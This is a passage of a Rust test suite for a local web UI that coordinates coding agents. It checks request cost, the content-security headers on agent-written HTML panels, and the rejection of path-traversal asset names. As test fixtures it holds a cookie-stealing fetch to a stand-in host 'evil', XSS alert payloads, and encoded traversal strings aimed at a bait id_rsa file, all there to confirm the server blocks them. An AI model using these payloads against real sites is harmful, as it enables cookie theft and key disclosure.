10279 ..Config::default()
10280 }
10281 }
10282
10283 fn plain_question(seat: &str) -> Question {
10284 Question::new(
10285 String::new(),
10286 "n".to_owned(),
10287 seat.to_owned(),
10288 "s".to_owned(),
10289 String::new(),
10290 Vec::new(),
10291 )
10292 }
10293
10294 #[test]
10295 fn deputies_enabled_follows_the_config() {
10296 let on = stub_config();
10297 assert!(crate::deputy::can_start(Some(&on), ""));
10298 assert!(crate::deputy::can_start(Some(&on), "stub"));
10299 let mut off = on.clone();
10300 off.daemon.max_deputies = 0;
10301 assert!(!crate::deputy::can_start(Some(&off), ""));
10302 let mut empty = on;
10303 empty.agents.clear();
10304 assert!(!crate::deputy::can_start(Some(&empty), ""));
10305 assert!(!crate::deputy::can_start(None, ""));
10306 }
10307
10308 #[test]
10309 fn question_views_load_the_config_once() {
10310 let dir = TempDir::new().unwrap();
10311 let store = ask::Questions::at(dir.path().to_path_buf());
10312 let mut with_deputy = plain_question("b");
10313 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10314 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10315
10316 let calls = std::cell::Cell::new(0usize);
10317 let views = question_views(qs.clone(), &store, || {
10318 calls.set(calls.get() + 1);
10319 Some(stub_config())
10320 });
10321 assert_eq!(calls.get(), 1);
10322 assert_eq!(views.len(), 3);
10323 for (v, q) in views.iter().zip(&qs) {
10324 assert_eq!(
10325 v.deputies_enabled,
10326 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10327 );
10328 }
10329
10330 let views = question_views(qs, &store, || None);
10331 assert!(views.iter().all(|v| !v.deputies_enabled));
10332
10333 let calls = std::cell::Cell::new(0usize);
10334 let views = question_views(Vec::new(), &store, || {
10335 calls.set(calls.get() + 1);
10336 None
10337 });
10338 assert!(views.is_empty());
10339 assert_eq!(calls.get(), 0);
10340 }
10341
10342 use pretty_assertions::assert_eq;
10343 use serde_json::Value;
10344 use tempfile::TempDir;
10345 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10346
10347 use super::*;
10348 use crate::config::Config;
10349 use crate::queue::Source;
10350
10351 const SETTLE_STEPS: usize = 3_000;
10362
10363 struct Fixture {
10369 home: TempDir,
10370 addr: SocketAddr,
10371 }
10372
10373 impl Fixture {
10374 async fn start() -> Self {
10375 Self::with_loop(launch_idle).await
10376 }
10377
10378 async fn with_loop(launch: Launch) -> Self {
10380 let home = TempDir::new().expect("temp home");
10381 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10382 Self { home, addr }
10383 }
10384
10385 async fn with_repo(repo: PathBuf) -> Self {
10389 let home = TempDir::new().expect("temp home");
10390 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10391 Self { home, addr }
10392 }
10393
10394 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10397 let home = TempDir::new().expect("temp home");
10398 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10399 Self { home, addr }
10400 }
10401
10402 async fn serve(
10403 home: &FsPath,
10404 repo: PathBuf,
10405 launch: Launch,
10406 machine: Option<PathBuf>,
10407 ) -> SocketAddr {
10408 let queue = Queue::at(home.join("queue"));
10409 let runs = home.join("runs");
10410 std::fs::create_dir_all(&runs).expect("runs dir");
10411 let worktrees = home.join("wt").join("magi");
10412 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10413 let ui = Ui::new(
10414 queue,
10415 Questions::at(home.join("questions")),
10416 Talks::at(home.join("talks")),
10417 runs,
10418 home.to_path_buf(),
10419 repo,
10420 )
10421 .with_worktrees_root(worktrees)
10422 .with_machine_config(machine)
10423 .with_launch(launch);
10424 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10425 .await
10426 .expect("bind loopback");
10427 let addr = listener.local_addr().expect("local addr");
10428 tokio::spawn(async move {
10429 let router = ui
10430 .router()
10431 .layer(axum::middleware::from_fn(request_cost::observe));
10432 let _ = axum::serve(listener, router).await;
10433 });
10434 addr
10435 }
10436
10437 fn queue(&self) -> Queue {
10438 Queue::at(self.home.path().join("queue"))
10439 }
10440
10441 fn questions(&self) -> Questions {
10442 Questions::at(self.home.path().join("questions"))
10443 }
10444
10445 fn talks(&self) -> Talks {
10446 Talks::at(self.home.path().join("talks"))
10447 }
10448
10449 fn runs(&self) -> PathBuf {
10450 self.home.path().join("runs")
10451 }
10452
10453 async fn get(&self, path: &str) -> Res {
10454 request(self.addr, "GET", path, None).await
10455 }
10456
10457 async fn head(&self, path: &str) -> Res {
10462 request(self.addr, "HEAD", path, None).await
10463 }
10464
10465 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10466 request(self.addr, "POST", path, body).await
10467 }
10468
10469 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10470 request_with(self.addr, "GET", path, None, extra).await
10471 }
10472
10473 async fn delete(&self, path: &str) -> Res {
10474 request(self.addr, "DELETE", path, None).await
10475 }
10476
10477 async fn put(&self, path: &str, body: &str) -> Res {
10478 request(self.addr, "PUT", path, Some(body)).await
10479 }
10480
10481 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10483 request_bytes(self.addr, path, headers, body).await
10484 }
10485 }
10486
10487 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10490 let tmp = TempDir::new().unwrap();
10491 let mut repos = Vec::new();
10492 for name in ["one", "two"] {
10493 let repo = tmp.path().join(name);
10494 let origin = tmp.path().join(format!("{name}.git"));
10495 std::fs::create_dir_all(&repo).unwrap();
10496 crate::git::git(&repo, &["init", "-b", "main"])
10497 .await
10498 .unwrap();
10499 std::fs::write(
10500 repo.join("magi.toml"),
10501 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10502 )
10503 .unwrap();
10504 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10505 crate::git::git(
10506 &repo,
10507 &[
10508 "-c",
10509 "user.name=fixture",
10510 "-c",
10511 "user.email=fixture@example.invalid",
10512 "commit",
10513 "-m",
10514 "fixture",
10515 ],
10516 )
10517 .await
10518 .unwrap();
10519 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10520 .await
10521 .unwrap();
10522 crate::git::git(
10523 &repo,
10524 &["remote", "add", "origin", origin.to_str().unwrap()],
10525 )
10526 .await
10527 .unwrap();
10528 crate::git::git(&repo, &["push", "origin", "main"])
10529 .await
10530 .unwrap();
10531 crate::git::git(
10532 &repo,
10533 &[
10534 "symbolic-ref",
10535 "refs/remotes/origin/HEAD",
10536 "refs/remotes/origin/main",
10537 ],
10538 )
10539 .await
10540 .unwrap();
10541 let (cfg, _) = Config::discover(&repo, None).unwrap();
10542 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10543 repos.push(repo);
10544 }
10545 let repos: [PathBuf; 2] = repos.try_into().unwrap();
10546 (tmp, repos)
10547 }
10548
10549 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10550 let (tmp, repos) = performance_repositories().await;
10551 let machine = tmp.path().join("machine.toml");
10552 std::fs::write(&machine, "").unwrap();
10553 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10554 (tmp, repos, fx)
10555 }
10556
10557 fn seed_performance(
10558 fx: &Fixture,
10559 repos: &[PathBuf; 2],
10560 questions: usize,
10561 runs: usize,
10562 items: usize,
10563 ) {
10564 for i in fx.questions().list().len()..questions {
10566 let mut question = Question::new(
10567 "20261001-000000-0000".into(),
10568 "implement".into(),
10569 "impl-A".into(),
10570 format!("question {i}"),
10571 "context".into(),
10572 vec!["yes".into(), "no".into()],
10573 );
10574 question.id = format!("20261003-000000-{i:04x}");
10575 fx.questions().put(&mut question).unwrap();
10576 }
10577 for i in run_ids(&fx.runs()).len()..runs {
10578 write_run_repo(
10579 &fx.runs(),
10580 &format!("20261001-000000-{i:04x}"),
10581 RunStatus::Ready,
10582 repos[i % 2].to_str().unwrap(),
10583 );
10584 }
10585 for i in fx.talks().list().len()..items {
10586 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10587 let mut talk = fx.talks().get(&id).unwrap();
10588 talk.repo = repos[i % 2].clone();
10589 fx.talks().put(&mut talk).unwrap();
10590 let mut task = crate::queue::Task::new(
10591 format!("task {i}"),
10592 "instruction".into(),
10593 repos[i % 2].clone(),
10594 crate::queue::Source::Agent {
10595 run: id,
10596 node: crate::queue::CHAT_NODE.into(),
10597 },
10598 );
10599 task.id = format!("20261004-000000-{i:04x}");
10600 fx.queue().put(&mut task).unwrap();
10601 if i < crate::notices::CAP {
10603 Notices::at(fx.home.path().join("notifications"))
10604 .raise(Notice::info(&format!("notice-{i}"), "notification"))
10605 .unwrap();
10606 }
10607 }
10608 assert_eq!(fx.questions().list().len(), questions);
10609 assert_eq!(run_ids(&fx.runs()).len(), runs);
10610 assert_eq!(fx.talks().list().len(), items);
10611 assert_eq!(fx.queue().list().len(), items);
10612 assert_eq!(
10613 Notices::at(fx.home.path().join("notifications"))
10614 .list()
10615 .len(),
10616 items.min(crate::notices::CAP)
10617 );
10618 }
10619
10620 fn request_counts(res: &Res) -> (usize, usize) {
10621 assert_eq!(res.status, 200, "{}", res.body);
10622 (
10623 res.header("x-test-discoveries").unwrap().parse().unwrap(),
10624 res.header("x-test-git").unwrap().parse().unwrap(),
10625 )
10626 }
10627
10628 #[tokio::test]
10629 async fn list_request_cost_is_independent_of_record_count() {
10630 let (_tmp, repos, fx) = performance_fixture().await;
10631 let mut previous = None;
10632 for n in [4, 60] {
10633 seed_performance(&fx, &repos, n, n, n);
10634 let mut costs = Vec::new();
10635 for (path, discoveries) in [
10636 ("/api/questions", 1),
10637 ("/api/talks", 2),
10638 ("/api/health", 1),
10639 ("/api/stats", 1),
10640 ] {
10641 for repo in &repos {
10644 let cache = repo.join(".git/magi/config");
10645 if cache.exists() {
10646 std::fs::remove_dir_all(cache).unwrap();
10647 }
10648 }
10649 let cost = request_counts(&fx.get(path).await);
10650 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10651 assert_eq!(cost.0, discoveries, "{path}, N={n}");
10652 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10653 costs.push(cost);
10654 }
10655 if let Some(previous) = previous {
10656 assert_eq!(costs, previous);
10657 }
10658 previous = Some(costs);
10659 }
10660 }
10664
10665 #[tokio::test]
10668 async fn list_handler_cost_without_transport() {
10669 let (_tmp, repos) = performance_repositories().await;
10670 let fx = Fixture {
10671 home: TempDir::new().unwrap(),
10672 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10673 };
10674 let ui = Arc::new(
10675 Ui::new(
10676 fx.queue(),
10677 fx.questions(),
10678 fx.talks(),
10679 fx.runs(),
10680 fx.home.path().to_path_buf(),
10681 repos[0].clone(),
10682 )
10683 .with_worktrees_root(fx.home.path().join("wt")),
10684 );
10685 let mut previous = None;
10686 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10687 seed_performance(&fx, &repos, n, runs, items);
10688 let mut costs = Vec::new();
10689 for endpoint in ["questions", "talks", "health", "stats"] {
10690 for repo in &repos {
10691 let cache = repo.join(".git/magi/config");
10692 if cache.exists() {
10693 std::fs::remove_dir_all(cache).unwrap();
10694 }
10695 }
10696 let (_, cost) = request_cost::measure(async {
10697 match endpoint {
10698 "questions" => {
10699 let _ = questions_list(State(ui.clone())).await.unwrap();
10700 }
10701 "talks" => {
10702 let _ = talks_list(
10703 State(ui.clone()),
10704 Query(ListQuery {
10705 limit: None,
10706 ids: None,
10707 }),
10708 )
10709 .await
10710 .unwrap();
10711 }
10712 "health" => {
10713 let _ = health(State(ui.clone())).await.unwrap();
10714 }
10715 _ => {
10716 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10717 .await
10718 .unwrap();
10719 }
10720 }
10721 })
10722 .await;
10723 eprintln!("{endpoint} handler N={n}: {cost:?}");
10724 assert_eq!(
10725 cost.0,
10726 if endpoint == "talks" { 2 } else { 1 },
10727 "{endpoint}"
10728 );
10729 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10730 costs.push(cost);
10731 }
10732 if let Some(previous) = previous {
10733 assert_eq!(costs, previous);
10734 }
10735 previous = Some(costs);
10736 }
10737 }
10738
10739 #[tokio::test]
10740 async fn list_request_cost_scopes_do_not_mix() {
10741 let (_tmp, repos, fx) = performance_fixture().await;
10742 seed_performance(&fx, &repos, 10, 0, 10);
10743 let (questions, talks, notices) = tokio::join!(
10744 fx.get("/api/questions"),
10745 fx.get("/api/talks"),
10746 fx.get("/api/notifications")
10747 );
10748 assert_eq!(request_counts(&questions).0, 1);
10749 assert_eq!(request_counts(&talks).0, 2);
10750 assert_eq!(request_counts(¬ices), (0, 0));
10751 }
10752
10753 #[tokio::test]
10754 async fn list_endpoints_large_home_ceiling() {
10755 let (_tmp, repos, fx) = performance_fixture().await;
10756 seed_performance(&fx, &repos, 200, 300, 400);
10757 let mut failures = Vec::new();
10758 for path in [
10761 "/",
10762 "/app.js",
10763 "/app.css",
10764 "/api/questions",
10765 "/api/runs?limit=300",
10766 "/api/queue",
10767 "/api/talks",
10768 "/api/notifications",
10769 "/api/health",
10770 "/api/stats",
10771 "/api/loop",
10772 "/api/settings",
10773 "/api/repos",
10774 ] {
10775 let start = std::time::Instant::now();
10776 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
10777 let elapsed = start.elapsed();
10778 eprintln!("{path}: {elapsed:?}");
10779 match result {
10780 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
10781 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10782 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10783 }
10784 }
10785 assert!(failures.is_empty(), "{}", failures.join("\n"));
10786 }
10787
10788 struct Res {
10789 status: u16,
10790 headers: String,
10791 head: String,
10796 body: String,
10797 bytes: Vec<u8>,
10801 }
10802
10803 impl Res {
10804 fn json(&self) -> Value {
10805 serde_json::from_str(&self.body)
10806 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10807 }
10808
10809 fn header(&self, name: &str) -> Option<&str> {
10811 self.head.lines().find_map(|line| {
10812 let (key, value) = line.split_once(':')?;
10813 key.trim()
10814 .eq_ignore_ascii_case(name)
10815 .then(|| value.trim_start().trim_end_matches('\r'))
10816 })
10817 }
10818 }
10819
10820 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10823 request_with(addr, method, path, body, &[]).await
10824 }
10825
10826 async fn request_with(
10830 addr: SocketAddr,
10831 method: &str,
10832 path: &str,
10833 body: Option<&str>,
10834 extra: &[(&str, &str)],
10835 ) -> Res {
10836 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10837 for (name, value) in extra {
10838 head.push_str(&format!("{name}: {value}\r\n"));
10839 }
10840 if let Some(body) = body {
10841 head.push_str("Content-Type: application/json\r\n");
10842 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10843 }
10844 head.push_str("\r\n");
10845 if let Some(body) = body {
10846 head.push_str(body);
10847 }
10848 let mut socket = tokio::net::TcpStream::connect(addr)
10849 .await
10850 .expect("connect to the test server");
10851 socket
10852 .write_all(head.as_bytes())
10853 .await
10854 .expect("write request");
10855 let mut raw = Vec::new();
10856 socket.read_to_end(&mut raw).await.expect("read response");
10857 let split = raw
10860 .windows(4)
10861 .position(|w| w == b"\r\n\r\n")
10862 .expect("a header block");
10863 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10864 let bytes = raw[split + 4..].to_vec();
10865 let status = head
10866 .lines()
10867 .next()
10868 .and_then(|line| line.split_whitespace().nth(1))
10869 .and_then(|code| code.parse().ok())
10870 .expect("a status line");
10871 Res {
10872 status,
10873 headers: head.to_lowercase(),
10874 head,
10875 body: String::from_utf8_lossy(&bytes).into_owned(),
10876 bytes,
10877 }
10878 }
10879
10880 async fn request_bytes(
10886 addr: SocketAddr,
10887 path: &str,
10888 headers: &[(&str, &str)],
10889 body: &[u8],
10890 ) -> Res {
10891 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10892 for (name, value) in headers {
10893 head.push_str(&format!("{name}: {value}\r\n"));
10894 }
10895 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10896 let mut socket = tokio::net::TcpStream::connect(addr)
10897 .await
10898 .expect("connect to the test server");
10899 socket
10900 .write_all(head.as_bytes())
10901 .await
10902 .expect("write request head");
10903 socket.write_all(body).await.expect("write request body");
10904 let mut raw = Vec::new();
10905 socket.read_to_end(&mut raw).await.expect("read response");
10906 let split = raw
10907 .windows(4)
10908 .position(|w| w == b"\r\n\r\n")
10909 .expect("a header block");
10910 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10911 let bytes = raw[split + 4..].to_vec();
10912 let status = head
10913 .lines()
10914 .next()
10915 .and_then(|line| line.split_whitespace().nth(1))
10916 .and_then(|code| code.parse().ok())
10917 .expect("a status line");
10918 Res {
10919 status,
10920 headers: head.to_lowercase(),
10921 head,
10922 body: String::from_utf8_lossy(&bytes).into_owned(),
10923 bytes,
10924 }
10925 }
10926
10927 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10929 let mut state = RunState::new(
10930 PathBuf::from("/repo/magi"),
10931 "main".to_owned(),
10932 "0123456789abcdef".to_owned(),
10933 "Add a web UI\n\nMobile first.".to_owned(),
10934 Config::default(),
10935 );
10936 state.id = id.to_owned();
10937 state.status = status;
10938 let dir = runs.join(id);
10939 std::fs::create_dir_all(&dir).expect("run dir");
10940 std::fs::write(
10941 dir.join("run.json"),
10942 serde_json::to_string_pretty(&state).expect("serialize run"),
10943 )
10944 .expect("write run.json");
10945 }
10946
10947 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10951 let mut state = RunState::new(
10952 PathBuf::from(repo),
10953 "main".to_owned(),
10954 "0123456789abcdef".to_owned(),
10955 "task".to_owned(),
10956 Config::default(),
10957 );
10958 state.id = id.to_owned();
10959 state.status = status;
10960 let dir = runs.join(id);
10961 std::fs::create_dir_all(&dir).expect("run dir");
10962 std::fs::write(
10963 dir.join("run.json"),
10964 serde_json::to_string_pretty(&state).expect("serialize run"),
10965 )
10966 .expect("write run.json");
10967 }
10968
10969 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10970 let body = serde_json::json!({
10971 "schema": 1,
10972 "pid": 4242,
10973 "started_at": Timestamp::now().to_string(),
10974 "updated_at": updated_at.to_string(),
10975 "idle": false,
10976 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10977 "completed": 7,
10978 "polls": 143,
10979 });
10980 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10981 }
10982
10983 fn launch_idle(
10993 _opts: daemon::Opts,
10994 stop: daemon::Stop,
10995 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10996 Box::pin(async move {
10997 while !stop.stopped() {
10998 tokio::time::sleep(Duration::from_millis(2)).await;
10999 }
11000 Ok(())
11001 })
11002 }
11003
11004 fn launch_broken(
11007 _opts: daemon::Opts,
11008 _stop: daemon::Stop,
11009 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11010 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11015 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11016 Box::pin(async move {
11017 Err(anyhow::anyhow!(if first {
11018 "publish the daemon status file: read-only file system"
11019 } else {
11020 "the restarted stand-in failed as well"
11021 }))
11022 })
11023 }
11024
11025 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
11032 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
11033
11034 fn launch_knocking_on_the_way_out(
11041 _opts: daemon::Opts,
11042 stop: daemon::Stop,
11043 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11044 Box::pin(async move {
11045 while !stop.stopped() {
11046 tokio::time::sleep(Duration::from_millis(2)).await;
11047 }
11048 let addr = PARK_KNOCK
11049 .lock()
11050 .expect("park knock")
11051 .expect("the test set an address");
11052 let heard = request(addr, "GET", "/api/health", None).await.status;
11053 *PARK_HEARD.lock().expect("park heard") = Some(heard);
11054 Ok(())
11055 })
11056 }
11057
11058 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11067 for _ in 0..SETTLE_STEPS {
11068 let view = fx.get("/api/loop").await.json();
11069 if want(&view) {
11070 return view;
11071 }
11072 tokio::time::sleep(Duration::from_millis(10)).await;
11073 }
11074 panic!(
11075 "the loop never settled: {}",
11076 fx.get("/api/loop").await.json()
11077 );
11078 }
11079
11080 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11082 let store = fx.questions();
11083 let mut q = Question::new(
11084 "20260902-000000-beef".to_owned(),
11085 "implement".to_owned(),
11086 "impl-A".to_owned(),
11087 summary.to_owned(),
11088 "because it matters".to_owned(),
11089 choices.iter().map(|c| (*c).to_owned()).collect(),
11090 );
11091 store.put(&mut q).expect("put question");
11092 q.id
11093 }
11094
11095 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11101 let store = fx.questions();
11102 let mut q = Question::new(
11103 "20260902-000000-beef".to_owned(),
11104 "land".to_owned(),
11105 "fix".to_owned(),
11106 "Merge this?".to_owned(),
11107 "the diff is in the panel".to_owned(),
11108 vec!["merge".to_owned(), "hold".to_owned()],
11109 );
11110 let staging = fx.home.path().join("staging");
11113 std::fs::create_dir_all(&staging).expect("staging dir");
11114 let sources: Vec<PathBuf> = assets
11115 .iter()
11116 .map(|(name, bytes)| {
11117 let path = staging.join(name);
11118 std::fs::write(&path, bytes).expect("write staged asset");
11119 path
11120 })
11121 .collect();
11122 store
11123 .put_panel(&mut q, html, &sources)
11124 .expect("write the panel");
11125 store.put(&mut q).expect("put question");
11126 q.id
11127 }
11128
11129 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11138 seed_talk_at(&fx.talks(), id, status)
11139 }
11140
11141 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11142 std::fs::create_dir_all(store.root()).expect("talks dir");
11143 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11144 .expect("serialize a seat");
11145 let body = serde_json::json!({
11146 "schema": 1,
11147 "id": id,
11148 "repo": "/repo/magi",
11149 "agent": "mock",
11150 "status": status,
11151 "turns": [],
11152 "created_at": Timestamp::now().to_string(),
11153 "updated_at": Timestamp::now().to_string(),
11154 "seat": seat,
11155 });
11156 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11157 store.get(id).expect("the seeded talk has to be readable");
11158 id.to_owned()
11159 }
11160
11161 #[tokio::test]
11162 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11163 let fx = Fixture::start().await;
11164 let id = panel(
11165 &fx,
11166 "<h1>Merge?</h1><img src=\"diff.svg\">",
11167 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11168 );
11169
11170 for path in [
11171 format!("/api/questions/{id}/panel"),
11172 format!("/api/questions/{id}/asset/diff.svg"),
11173 ] {
11174 let res = fx.get(&path).await;
11175 assert_eq!(res.status, 200, "{path}: {}", res.body);
11176 assert_eq!(
11182 res.header("content-security-policy"),
11183 Some(
11184 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11185 font-src data:; base-uri 'none'; form-action 'none'; \
11186 frame-ancestors 'self'"
11187 ),
11188 "{path} is the only thing between a hostile panel and the tailnet"
11189 );
11190 assert_eq!(
11191 res.header("x-content-type-options"),
11192 Some("nosniff"),
11193 "{path}: a browser must not re-decide the type we sent"
11194 );
11195 assert_eq!(
11196 res.header("referrer-policy"),
11197 Some("no-referrer"),
11198 "{path}: a panel must not leak the question id off the machine"
11199 );
11200
11201 let pre = fx.head(&path).await;
11206 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11207 assert_eq!(
11208 pre.header("content-security-policy"),
11209 res.header("content-security-policy"),
11210 "{path}: the preflight carries the same policy"
11211 );
11212 assert_eq!(
11213 pre.header("content-type"),
11214 res.header("content-type"),
11215 "{path}: the preflight carries the same type"
11216 );
11217 }
11218 }
11219
11220 #[tokio::test]
11221 async fn a_panel_reaches_the_browser_byte_for_byte() {
11222 let fx = Fixture::start().await;
11223 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11228 let id = panel(&fx, html, &[]);
11229
11230 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11231
11232 assert_eq!(res.status, 200);
11233 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11234 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11235 assert_eq!(
11236 res.header("content-disposition"),
11237 None,
11238 "the panel itself is rendered in the frame, not downloaded"
11239 );
11240 }
11241
11242 #[tokio::test]
11243 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11244 let fx = Fixture::start().await;
11245 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11246 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11247 let id = panel(
11248 &fx,
11249 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11250 &[("diff.svg", svg), ("shot.png", png)],
11251 );
11252
11253 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11254 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11255
11256 assert_eq!(as_svg.status, 200);
11257 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11258 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11263
11264 assert_eq!(as_png.status, 200);
11265 assert_eq!(as_png.header("content-type"), Some("image/png"));
11266 assert_eq!(
11267 as_png.header("content-disposition"),
11268 None,
11269 "a raster image has no execution surface, so tapping it still shows it"
11270 );
11271 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11272 }
11273
11274 #[tokio::test]
11275 async fn an_html_asset_is_never_served_as_html() {
11276 let fx = Fixture::start().await;
11277 let id = panel(
11278 &fx,
11279 "<p>see the notes</p>",
11280 &[
11281 (
11282 "notes.html",
11283 b"<script>fetch('http://evil/'+document.cookie)</script>",
11284 ),
11285 ("hook.js", b"fetch('http://evil/')"),
11286 ("data.json", b"{}"),
11287 ("HEADLINE.TXT", b"plain"),
11288 ],
11289 );
11290
11291 for name in ["notes.html", "hook.js", "data.json"] {
11292 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11293 assert_eq!(res.status, 200, "{name}: {}", res.body);
11294 assert_eq!(
11299 res.header("content-type"),
11300 Some("application/octet-stream"),
11301 "{name} must not be a type the browser will execute or render"
11302 );
11303 }
11304 let txt = fx
11307 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11308 .await;
11309 assert_eq!(
11310 txt.header("content-type"),
11311 Some("text/plain; charset=utf-8")
11312 );
11313 }
11314
11315 #[tokio::test]
11316 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11317 let fx = Fixture::start().await;
11318 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11319 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11323
11324 for encoded in [
11331 "%2e%2e%2fid_rsa",
11332 "..%2fid_rsa",
11333 "..%5cid_rsa",
11334 "%2e%2e%5cid_rsa",
11335 "diff%00.svg",
11336 "..",
11337 ".hidden",
11338 "%2e%2e%2f%2e%2e%2fid_rsa",
11339 ] {
11340 let res = fx
11341 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11342 .await;
11343 assert_eq!(
11344 res.status, 400,
11345 "`{encoded}` has to be refused by name, not looked up: {}",
11346 res.body
11347 );
11348 assert!(res.json()["error"].is_string(), "{}", res.body);
11349 }
11350
11351 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11357 let res = fx
11358 .get(&format!("/api/questions/{id}/asset/{literal}"))
11359 .await;
11360 assert_eq!(
11361 res.status, 404,
11362 "`{literal}` must not match the asset route at all: {}",
11363 res.body
11364 );
11365 }
11366 }
11367
11368 #[tokio::test]
11369 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11370 let fx = Fixture::start().await;
11371 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11372 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11373
11374 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11378 assert_eq!(none.status, 404, "{}", none.body);
11379 assert!(none.json()["error"].is_string(), "{}", none.body);
11380 assert_eq!(
11381 fx.head(&format!("/api/questions/{plain}/panel"))
11382 .await
11383 .status,
11384 404,
11385 "the preflight is the only way the client can learn this"
11386 );
11387
11388 let missing = fx
11390 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11391 .await;
11392 assert_eq!(missing.status, 404, "{}", missing.body);
11393 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11394
11395 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11397 assert_eq!(
11398 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11399 404
11400 );
11401 }
11402
11403 #[tokio::test]
11404 async fn a_run_with_an_open_question_reads_as_waiting() {
11405 let fx = Fixture::start().await;
11406 let run = "20260902-000000-beef".to_owned();
